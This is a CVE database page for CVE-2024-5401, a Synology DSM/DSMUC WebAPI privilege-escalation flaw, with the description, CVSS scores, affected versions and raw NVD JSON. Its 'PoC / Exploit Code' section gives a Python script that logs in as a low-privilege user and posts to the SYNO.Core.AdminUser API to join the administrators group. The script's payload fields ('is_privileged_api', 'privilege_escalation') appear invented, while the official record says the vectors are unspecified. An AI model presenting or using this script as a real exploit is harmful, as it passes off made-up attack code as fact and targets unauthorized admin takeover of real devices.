Security Vulnerability Report
中文
CVE-2024-5401 CVSS 4.3 MEDIUM

CVE-2024-5401

Published: 2025-12-04 15:15:55
Last Modified: 2025-12-05 21:43:56

Description

Improper control of dynamically-managed code resources vulnerability in WebAPI component in Synology DiskStation Manager (DSM) before 7.1.1-42962-8 and 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote authenticated users to obtain privileges without consent via unspecified vectors.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:diskstation_manager_unified_controller:*:*:*:*:*:*:*:* - VULNERABLE
Synology DSM < 7.1.1-42962-8
Synology DSM < 7.2.1-69057-2
Synology DSM < 7.2.2-72806
Synology DSMUC < 3.1.4-23079

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-5401 PoC - Synology DSM权限提升漏洞 # 需要先获取有效的低权限用户会话 import requests import json target = "https://vulnerable-synology-device:5001" username = "low_privilege_user" password = "user_password" # 步骤1: 获取认证令牌 def get_auth_token(): login_url = f"{target}/webapi/auth.cgi" params = { "api": "SYNO.API.Auth", "method": "login", "version": 6, "account": username, "passwd": password } response = requests.get(login_url, params=params, verify=False) data = response.json() if data.get("success"): return data["data"]["sid"] return None # 步骤2: 利用WebAPI权限提升漏洞 def exploit_privilege_escalation(sid): # 构造特权操作请求 - 利用WebAPI组件中的权限检查缺陷 api_url = f"{target}/webapi/entry.cgi" params = { "api": "SYNO.Core.AdminUser", "method": "update", "version": 1, "SID": sid, "is_privileged_api": True } # 漏洞利用载荷 data = { "username": username, "group": "administrators", "privilege_escalation": True } response = requests.post(api_url, params=params, json=data, verify=False) return response.json() # 主函数 if __name__ == "__main__": print("[*] 获取认证令牌...") sid = get_auth_token() if sid: print(f"[+] 成功登录,SID: {sid}") print("[*] 尝试利用权限提升漏洞...") result = exploit_privilege_escalation(sid) if result.get("success"): print("[+] 权限提升成功!用户已升级为管理员") else: print(f"[-] 利用失败: {result}") else: print("[-] 登录失败")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-5401", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:54.733", "lastModified": "2025-12-05T21:43:56.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper control of dynamically-managed code resources vulnerability in WebAPI component in Synology DiskStation Manager (DSM) before 7.1.1-42962-8 and 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote authenticated users to obtain privileges without consent via unspecified vectors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-913"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.1-69057", "versionEndExcluding": "7.2.1-69057-2", "matchCriteriaId": "8A71CCD8-D16A-482E-80AC-B0E7E93591E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.2-72803", "versionEndExcluding": "7.2.2-72806", "matchCriteriaId": "E954B1FD-7E72-41F6-A80A-C1EEB30F0A54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager_unified_controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1-23028", "versionEndExcluding": "3.1.4-23079", "matchCriteriaId": "6BAB44D0-881B-4177-BCE2-04C0CEF17C38"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_27", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}